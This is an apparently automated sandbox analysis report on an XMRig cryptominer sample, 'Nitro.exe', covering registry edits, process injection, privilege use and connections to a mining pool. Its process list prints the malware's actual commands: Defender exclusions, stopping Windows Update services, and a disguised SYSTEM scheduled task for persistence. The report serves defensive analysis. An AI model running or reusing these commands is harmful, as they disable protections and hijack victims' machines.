Malware Analysis Report

2025-08-05 11:14

Sample ID 241027-qt3zpsyflp
Target Nitro.exe
SHA256 6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a
Tags
xmrig evasion execution miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a

Threat Level: Known bad

The file Nitro.exe was found to be: Known bad.

Malicious Activity Summary

xmrig evasion execution miner

Xmrig family

xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess

XMRig Miner payload

Stops running service(s)

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Suspicious use of SetThreadContext

Drops file in System32 directory

Launches sc.exe

Drops file in Program Files directory

Unsigned PE

Modifies data under HKEY_USERS

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-27 13:34

Signatures

Unsigned PE

Description Indicator Process Target
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Analysis: behavioral1

Detonation Overview

Submitted

2024-10-27 13:34

Reported

2024-10-27 13:36

Platform

win10v2004-20241007-en

Max time kernel

131s

Max time network

129s

Command Line

C:\Windows\Explorer.EXE

Signatures

Xmrig family

xmrig

xmrig

miner xmrig

XMRig Miner payload

miner
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Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3196 set thread context of 4912 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\System32\conhost.exe
PID 3196 set thread context of 4312 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\explorer.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\updater.exe C:\Users\Admin\AppData\Local\Temp\Nitro.exe N/A
File created C:\Program Files\Google\Libs\WR64.sys C:\Program Files\Google\Chrome\updater.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Nitro.exe N/A
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N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
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N/A N/A C:\Users\Admin\AppData\Local\Temp\Nitro.exe N/A
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N/A N/A C:\Users\Admin\AppData\Local\Temp\Nitro.exe N/A
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N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
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N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
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N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
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N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
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N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
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N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
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Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1788 wrote to memory of 1316 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 1316 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 4640 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 4640 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 2780 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 2780 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 2516 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 2516 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 3204 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1788 wrote to memory of 3204 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 4652 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 4652 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 2416 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 2416 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 2456 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 2456 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 2180 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 2180 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 4032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4392 wrote to memory of 4032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 3196 wrote to memory of 4912 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\System32\conhost.exe
PID 3196 wrote to memory of 4312 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\explorer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\Nitro.exe

"C:\Users\Admin\AppData\Local\Temp\Nitro.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 69.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:8888 pool.hashvault.pro tcp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
DE 95.179.241.203:8888 pool.hashvault.pro tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
DE 45.76.89.70:8888 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
DE 95.179.241.203:8888 pool.hashvault.pro tcp

Files

memory/3004-0-0x00007FF6FFEE0000-0x00007FF703770000-memory.dmp

memory/4956-1-0x00007FF984633000-0x00007FF984635000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k3ayv1xv.l5q.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4956-11-0x0000024DEA910000-0x0000024DEA932000-memory.dmp

memory/4956-12-0x00007FF984630000-0x00007FF9850F1000-memory.dmp

memory/4956-13-0x00007FF984630000-0x00007FF9850F1000-memory.dmp

memory/4956-16-0x00007FF984630000-0x00007FF9850F1000-memory.dmp

